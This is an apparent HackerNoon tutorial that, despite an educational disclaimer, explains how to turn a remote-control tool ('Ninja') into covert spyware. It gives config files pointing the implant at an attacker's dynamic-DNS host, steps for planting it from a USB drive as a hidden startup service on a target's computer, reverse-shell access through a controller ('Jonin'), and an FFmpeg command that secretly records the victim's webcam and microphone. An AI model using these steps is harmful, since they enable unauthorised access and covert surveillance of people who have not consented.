visit
Important Disclaimer and Content Notice: This article is for informational purposes only and was created to educate about this vulnerability. HackerNoon does not promote spyware or hacking in anyway and hope that this content can teach people how to defend against such attacks by learning how they work.
A general-purpose fully customizable software to control a remote computer behind any NAT, Firewall, and proxy. Providing secure shell access, file transfer, and shell stream (stream shell output from remote to a local file)This means you can literally do anything on a remote computer that has running on it. So why not use it as spyware! You can gain full control of the computer without even being noticed. All you need is to install Ninja as a service to make sure it will always be running and will start at startup
So first we should download, extract and configure Ninja, you can download a single-click Ninja installer for windows (with FFmpeg included) from here :
Note that this installer will install Ninja in
C:/Ninja-v1.2.1-win
and name the service Ninja-v1.2.1-win.exe
. To customize this, you can change the installation config file in config/installation-config.json
:{
// path to copy Ninja files
"destDir": "C:/Ninja-v1.2.1-win",
// name of service
"name": "Ninja-v1.2.1-win",
// service description
"description": "Ninja-v1.2.1-win",
// dont change this one, it's
// the name of exe file in installer
"serviceFile": "Ninja-v1.2.1-win.exe"
}
The only mandatory config is to set hostname and port. The Ninja will use these to communicate with the controller computer. You can find this configuration in
files/config/constants.json
in installer folder (if you don't use the single-click installer, it will be in config/constants.json
)also better set a name for Ninja to identify it in case you have several Ninjas
{
// Connection port
"PORTS": {
"DATA": 3707
},
// Controller computer's hostname
"HOST": "controller.com",
// Ninja identifier; usefull when working with multiple Ninjas
"NAME": "Ninja's Name",
// ...
}
You can use free dynamic DNS services like and to get a hostname. It's very easy and straightforward. All you need is to create an account, create a hostname and set your network's (controller computer network's) IP address as its IP. To find your IP address, you can simply search
my IP
in google (on controller computer with no VPN)It might be annoying to find your IP address, open the DDNS provider website and set it on your hostname every time your IP changes. That's why DUCs (Dynamic Update Client) exist. You can download a DUC, install it on your (controller) computer and it will update your hostname with your IP whenever it changes. No-IP has its own DUC, not sure about DuckDNS
Alright, if you got the hostname and set it in the Ninja config file, it's time to meet an Elite Ninja (Jonin)
Ninja will be your spy on the remote computer but you'll need some commander to communicate with and command the Ninja. That's where Jonin (meaning elite Ninja!) comes in
So first, you'll need to download and extract Jonin on the controller computer:Then open the config file in
config/constants.json
and change the port to match with Ninja's port{
// connection port
"PORTS": {
"DATA": 3707
},
//....
}
Also if your ISP uses some NAT, you should ask them to change your NAT type, rather change it to open (note that this NAT type is less secure than others, not a big deal though), in order to let incoming packets (Ninja messages in this case) into your network
Copy all files of the extracted and configured Ninja installer into a USB drive. All you need after is 10 seconds to install it on target. Once you got it, insert a USB drive, click on Servicifier executable (better run as administrator), click on
Yes
when prompted to allow the app to make changes
and that's it! now you can go back to your computer and ask Jonin to command your Ninja(s)!
Now that your Ninja has sneaked into the target, let the hacking begin!
First, open Jonin, press any key until you arrive on the console. Then type:
list
to get a list of your Ninjas (only one in this case)connect 1
, to connect to Ninja 1change
and then cmd
to switch to reverse shell accessFFmpeg\ffmpeg -list_devices true -f dshow -i dummy
Next, type
change
and then cmd-stream
to switch to shell stream command type. Finally, type this command which will stream camera and mic into G:/cam.mkv
and any error will go into G:/cam-err.txt
. After running this command, you'll see file names with szie of data streamed to each (you can press Esc
to end stream):@FFmpeg\ffmpeg -f dshow -i video="Lenovo EasyCamera":audio="Microphone Array (2- Realtek High Definition Audio)" -f matroska -@G:/cam.mkv@G:/cam-err.txt@
You see I have 10 MB of video streamed into
G:/cam.mkv
. And that's it! You can now watch Ninja's webcam LIVE and the target user won't even noticeThanks for reading